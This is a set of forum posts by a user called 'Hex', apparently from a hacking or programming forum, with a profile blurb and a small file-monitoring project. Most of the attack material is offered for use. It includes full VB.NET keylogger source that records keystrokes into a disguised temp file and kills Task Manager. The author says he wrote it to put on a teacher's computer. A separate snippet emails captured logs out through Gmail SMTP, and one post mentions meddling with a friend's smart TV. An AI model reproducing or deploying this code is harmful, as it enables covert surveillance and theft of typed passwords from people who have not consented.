{ Hex }

well if you want a "Free" keylogger i posted the source to a i guess decent to a point but if said user types fast then it will have a hard time picking up what he/she types it better to use a keyboardhook you can just modify the source i posted you can modify it just add this in on a timer imports system.net.mail Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient("smtp.gmail.com") mail.From = New MailAddress("@gmail.com") mail.To.Add("The email in witch the data will be sent") mail.Subject = "" mail.Body = "" SmtpServer.Port = 587 SmtpServer.Credentials = New System.Net.NetworkCredential("Email", "Pass") SmtpServer.EnableSsl = True SmtpServer.Send(mail) -Hex

My name is Jack a.k.a Hex Favourite game: Fallout Favourite OS: Windows Favourite console: Pc master race Nationality: American Accent: English (southern) Sex: Male Race: White Height: 6.4 Build: Skinny + strong Favourite band: Iron maiden Favourite book: Microsoft Visual Basic 2010 Dev handbook (Klaus Loffelmann) Favourite author: NA Favourite movie: Never back down Favourite director: alfred hitchcock Favourite TV Show: Naruto Favourite actor: leonardo dicaprio Favourite actress: NA Favourite Pinup: NA Favourite Comedian: Gabriel Iglesias Other hobbies: Programming,MMA,fitness. Car: Ram 1500 (white) Occupation: Collage(2 years for core) + 4 years for masters in Computer Programming & HVAC on the side

very cool my m8 has a smart tv gonna go camp outside his house sometime soon and hopefully fuck with his tv.

here a shitty logger i made in in 9th grade to put on my teacher computer it's shit like i said use a lowlevelKeyboard hook Imports System.IO Public Class Form1 Private Declare Function gmp Lib "user32" Alias "GetAsyncKeyState" (ByVal K As Integer) As Short Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Timer1.Start() Timer2.Start() End Sub Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp If (gmp(65)) Then box.Text = box.Text + "a" ElseIf (gmp(66)) Then box.Text = box.Text + "b" ElseIf (gmp(67)) Then box.Text = box.Text + "c" ElseIf (gmp(68)) Then box.Text = box.Text + "d" ElseIf (gmp(69)) Then box.Text = box.Text + "e" ElseIf (gmp(70)) Then box.Text = box.Text + "f" ElseIf (gmp(71)) Then box.Text = box.Text + "g" ElseIf (gmp(72)) Then box.Text = box.Text + "h" ElseIf (gmp(73)) Then box.Text = box.Text + "i" ElseIf (gmp(74)) Then box.Text = box.Text + "j" ElseIf (gmp(75)) Then box.Text = box.Text + "k" ElseIf (gmp(76)) Then box.Text = box.Text + "l" ElseIf (gmp(77)) Then box.Text = box.Text + "m" ElseIf (gmp(78)) Then box.Text = box.Text + "n" ElseIf (gmp(79)) Then box.Text = box.Text + "o" ElseIf (gmp(80)) Then box.Text = box.Text + "p" ElseIf (gmp(81)) Then box.Text = box.Text + "q" ElseIf (gmp(82)) Then box.Text = box.Text + "r" ElseIf (gmp(83)) Then box.Text = box.Text + "s" ElseIf (gmp(84)) Then box.Text = box.Text + "t" ElseIf (gmp(85)) Then box.Text = box.Text + "u" ElseIf (gmp(86)) Then box.Text = box.Text + "v" ElseIf (gmp(87)) Then box.Text = box.Text + "w" ElseIf (gmp(88)) Then box.Text = box.Text + "x" ElseIf (gmp(89)) Then box.Text = box.Text + "y" ElseIf (gmp(90)) Then box.Text = box.Text + "z" ElseIf (gmp(32)) Then box.Text = box.Text + " " ElseIf (gmp(16)) Then box.Text = box.Text + " [sHIFT] " ElseIf (gmp(20)) Then box.Text = box.Text + " [CAPS] " ElseIf (gmp(48)) Then box.Text = box.Text + "0" ElseIf (gmp(49)) Then box.Text = box.Text + "1" ElseIf (gmp(50)) Then box.Text = box.Text + "2" ElseIf (gmp(51)) Then box.Text = box.Text + "3" ElseIf (gmp(52)) Then box.Text = box.Text + "4" ElseIf (gmp(53)) Then box.Text = box.Text + "5" ElseIf (gmp(54)) Then box.Text = box.Text + "6" ElseIf (gmp(55)) Then box.Text = box.Text + "7" ElseIf (gmp(56)) Then box.Text = box.Text + "8" ElseIf (gmp(57)) Then box.Text = box.Text + "9" ElseIf (gmp(45)) Then Force_Dump() ElseIf (gmp(46)) Then Process.Start(Temp + "\ELUAC.txt") ElseIf (gmp(145)) Then Dim pro() As Process = Process.GetProcessesByName("Taskmggr") For Each pr As Process In pro pr.Kill() Next End If End Sub Private Sub Force_Dump() ' Dim MD As String = Mid(Environment.GetFolderPath(Environment.SpecialFolder.System), 1, 3) Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp If File.Exists(Temp + "\ELUAC.txt") Then Else File.Create(Temp + "\EULAC.txt") End If Dim WR As System.IO.StreamWriter WR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True) WR.WriteLine("Force Dump @ " + System.DateTime.Now + "] " + box.Text) WR.Close() End Sub Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp If File.Exists(Temp + "\ELUAC.txt") Then Else File.Create(Temp + "\EULAC.txt") End If Dim WR As System.IO.StreamWriter WR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True) WR.WriteLine("Timed Dump @ " + System.DateTime.Now + "] " + box.Text) WR.Close() End Sub End Class

spotted the issue in 2 secs Change: Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer Too: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As integer) As short if you care about what i have to say i rather use a lowlevelkeyboard hook for a keylogger

i can make something like this in vb hmu if you like me to help.

with that being said this is project you can look over the code before you run it even it was just the .exe there are .net decomps everywhere.

and for the .dll and other exes one a compiled app the other stuff that visual studio & vb put in there

about calling it .net were i come from sometimes that how it is named i always put vb over .net i just did not feel like it people most of the time know what your talking about when you say that anyway. Comments() i use them but not all the time prob cause im lazy.

Hello, This is a visual studio project of mine i posted it on a other forums and i decided for my 1st post\thread ill rel my small project. This monitors file events on the FileSystem this application is written in the .net language and this is the full source. Thank you. p.s i'm not gonna post a VT scan cause this is the vss (source) FWD.zip